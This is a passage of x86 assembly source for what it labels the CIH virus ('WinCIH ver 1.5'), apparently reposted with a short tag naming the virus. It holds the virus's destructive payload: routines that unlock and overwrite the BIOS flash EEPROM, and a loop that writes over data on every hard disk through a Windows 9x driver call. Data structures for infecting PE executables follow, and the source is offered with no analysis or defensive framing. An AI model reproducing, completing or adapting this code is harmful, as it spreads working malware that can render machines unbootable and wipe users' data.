; * Kill Kill Kill Kill Kill Kill Kill *
; * Kill Kill Kill Kill Kill Kill Kill *
; **************************************
; ***************************
; * Kill BIOS EEPROM    *
; ***************************
      mov  bp, 0cf8h
      lea  esi, IOForEEPROM-@7[esi]
; ***********************
; * Show BIOS Page in  *
; * 000E0000 - 000EFFFF *
; *  (  64 KB  )  *
; ***********************
      mov  edi, 8000384ch
      mov  dx, 0cfeh
      cli
      call  esi
; ***********************
; * Show BIOS Page in  *
; * 000F0000 - 000FFFFF *
; *  (  64 KB  )  *
; ***********************
      mov  di, 0058h
      dec  edx        ; and al,0fh
      mov  word ptr (BooleanCalculateCode-@10)[esi], 0f24h
      call  esi
; ***********************
; * Show the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E01FF *
; *  (  512 Bytes  ) *
; * , and the Section  *
; * of Extra BIOS can  *
; * be Writted...    *
; ***********************
      lea  ebx, EnableEEPROMToWrite-@10[esi]
      mov  eax, 0e5555h
      mov  ecx, 0e2aaah
      call  ebx
      mov  byte ptr [eax], 60h
      push  ecx
      loop  $
; ***********************
; * Kill the BIOS Extra *
; * ROM Data in Memory *
; * 000E0000 - 000E007F *
; *  (  80h Bytes  ) *
; ***********************
      xor  ah, ah
      mov  [eax], al
      xchg  ecx, eax
      loop  $
; ***********************
; * Show and Enable the *
; * BIOS Main ROM Data *
; * 000E0000 - 000FFFFF *
; *  (  128 KB  )  *
; * can be Writted...  *
; ***********************
      mov  eax, 0f5555h
      pop  ecx
      mov  ch, 0aah
      call  ebx
      mov  byte ptr [eax], 20h
      loop  $
; ***********************
; * Kill the BIOS Main *
; * ROM Data in Memory *
; * 000FE000 - 000FE07F *
; *  (  80h Bytes  ) *
; ***********************
      mov  ah, 0e0h
      mov  [eax], al
; ***********************
; * Hide BIOS Page in  *
; * 000F0000 - 000FFFFF *
; *  (  64 KB  )  *
; ***********************
              ; or al,10h
      mov  word ptr (BooleanCalculateCode-@10)[esi], 100ch
      call  esi
; ***************************
; * Kill All HardDisk    *
; ***************************************************
; * IOR Structure of IOS_SendCommand Needs     *
; ***************************************************
; * ?? ?? ?? ?? 01 00 ?? ?? 01 05 00 40 ?? ?? ?? ?? *
; * 00 00 00 00 00 00 00 00 00 08 00 00 00 10 00 c0 *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? *
; * ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? ?? *
; ***************************************************
KillHardDisk:
      xor  ebx, ebx
      mov  bh, FirstKillHardDiskNumber
      push  ebx
      sub  esp, 2ch
      push  0c0001000h
      mov  bh, 08h
      push  ebx
      push  ecx
      push  ecx
      push  ecx
      push  40000501h
      inc  ecx
      push  ecx
      push  ecx
      mov  esi, esp
      sub  esp, 0ach
LoopOfKillHardDisk:
      int  20h
      dd  00100004h  ; VXDCall IOS_SendCommand
      cmp  word ptr [esi+06h], 0017h
      je  KillNextDataSection
ChangeNextHardDisk:
      inc  byte ptr [esi+4dh]
      jmp  LoopOfKillHardDisk
KillNextDataSection:
      add  dword ptr [esi+10h], ebx
      mov  byte ptr [esi+4dh], FirstKillHardDiskNumber
      jmp  LoopOfKillHardDisk
; ***************************
; * Enable EEPROM to Write *
; ***************************
EnableEEPROMToWrite:
      mov  [eax], cl
      mov  [ecx], al
      mov  byte ptr [eax], 80h
      mov  [eax], cl
      mov  [ecx], al
      ret
; ***************************
; * IO for EEPROM      *
; ***************************
IOForEEPROM:
@10      =  IOForEEPROM
      xchg  eax, edi
      xchg  edx, ebp
      out  dx, eax
      xchg  eax, edi
      xchg  edx, ebp
      in  al, dx
BooleanCalculateCode  =  $
      or  al, 44h
      xchg  eax, edi
      xchg  edx, ebp
      out  dx, eax
      xchg  eax, edi
      xchg  edx, ebp
      out  dx, al
      ret
; *********************************************************
; *      Static Data            *
; *********************************************************
LastVxDCallAddress  =  IFSMgr_Ring0_FileIO
VxDCallAddressTable  db  00h
      db  IFSMgr_RemoveFileSystemApiHook-_PageAllocate
      db  UniToBCSPath-IFSMgr_RemoveFileSystemApiHook
      db  IFSMgr_Ring0_FileIO-UniToBCSPath
VxDCallIDTable    dd  00010053h, 00400068h, 00400041h, 00400032h
VxDCallTableSize  =  ($-VxDCallIDTable)/04h
; *********************************************************
; *        Virus Version Copyright        *
; *********************************************************
VirusVersionCopyright  db   'WinCIH ver 1.5 by TATUNG, Thailand'
; *********************************************************
; *      Virus Size            *
; *********************************************************
VirusSize      =  $
;        + SizeOfVirusCodeSectionTableEndMark(04h)
;        + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;        + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************
; *      Dynamic Data           *
; *********************************************************
VirusGameDataStartAddress  =  VirusSize
@6        =  VirusGameDataStartAddress
OnBusy        db  0
FileModificationTime    dd  ?
FileNameBuffer    db  FileNameBufferSize dup(?)
@7      =  FileNameBuffer
DataBuffer    =  $
@8      =  DataBuffer
NumberOfSections  dw  ?
TimeDateStamp    dd  ?
SymbolsPointer    dd  ?
NumberOfSymbols    dd  ?
SizeOfOptionalHeader  dw  ?
_Characteristics  dw  ?
Magic      dw  ?
LinkerVersion    dw  ?
SizeOfCode    dd  ?
SizeOfInitializedData  dd  ?
SizeOfUninitializedData  dd  ?
AddressOfEntryPoint  dd  ?
BaseOfCode    dd  ?
BaseOfData    dd  ?
ImageBase    dd  ?
@9      =  $
SectionAlignment  dd  ?
FileAlignment    dd  ?
OperatingSystemVersion  dd  ?
ImageVersion    dd  ?
SubsystemVersion  dd  ?
Reserved    dd  ?
SizeOfImage    dd  ?
SizeOfHeaders    dd  ?
SizeOfImageHeaderToRead =    $-NumberOfSections
NewAddressOfEntryPoint  =  DataBuffer  ; DWORD
SizeOfImageHeaderToWrite=    04h
StartOfSectionTable  =  @9
SectionName    =  StartOfSectionTable  ; QWORD
VirtualSize    =  StartOfSectionTable+08h  ; DWORD
VirtualAddress    =  StartOfSectionTable+0ch  ; DWORD
SizeOfRawData    =  StartOfSectionTable+10h  ; DWORD
PointerToRawData  =  StartOfSectionTable+14h  ; DWORD
PointerToRelocations  =  StartOfSectionTable+18h  ; DWORD
PointerToLineNumbers  =  StartOfSectionTable+1ch  ; DWORD
NumberOfRelocations  =  StartOfSectionTable+20h  ; WORD
NumberOfLinenNmbers  =  StartOfSectionTable+22h  ; WORD
Characteristics    =  StartOfSectionTable+24h  ; DWORD
SizeOfScetionTable  =  Characteristics+04h-SectionName
; *********************************************************
; *    Virus Total Need Memory          *
; *********************************************************
VirusNeedBaseMemory  =  $
VirusTotalNeedMemory  =  @9
;        + NumberOfSections(??)*SizeOfScetionTable(28h)
;        + SizeOfVirusCodeSectionTableEndMark(04h)
;        + NumberOfSections(??)*SizeOfVirusCodeSectionTable(08h)
;        + SizeOfTheFirstVirusCodeSectionTable(04h)
; *********************************************************
VirusGame        ENDS
            END   FileHeader

Tags:CIH 病毒

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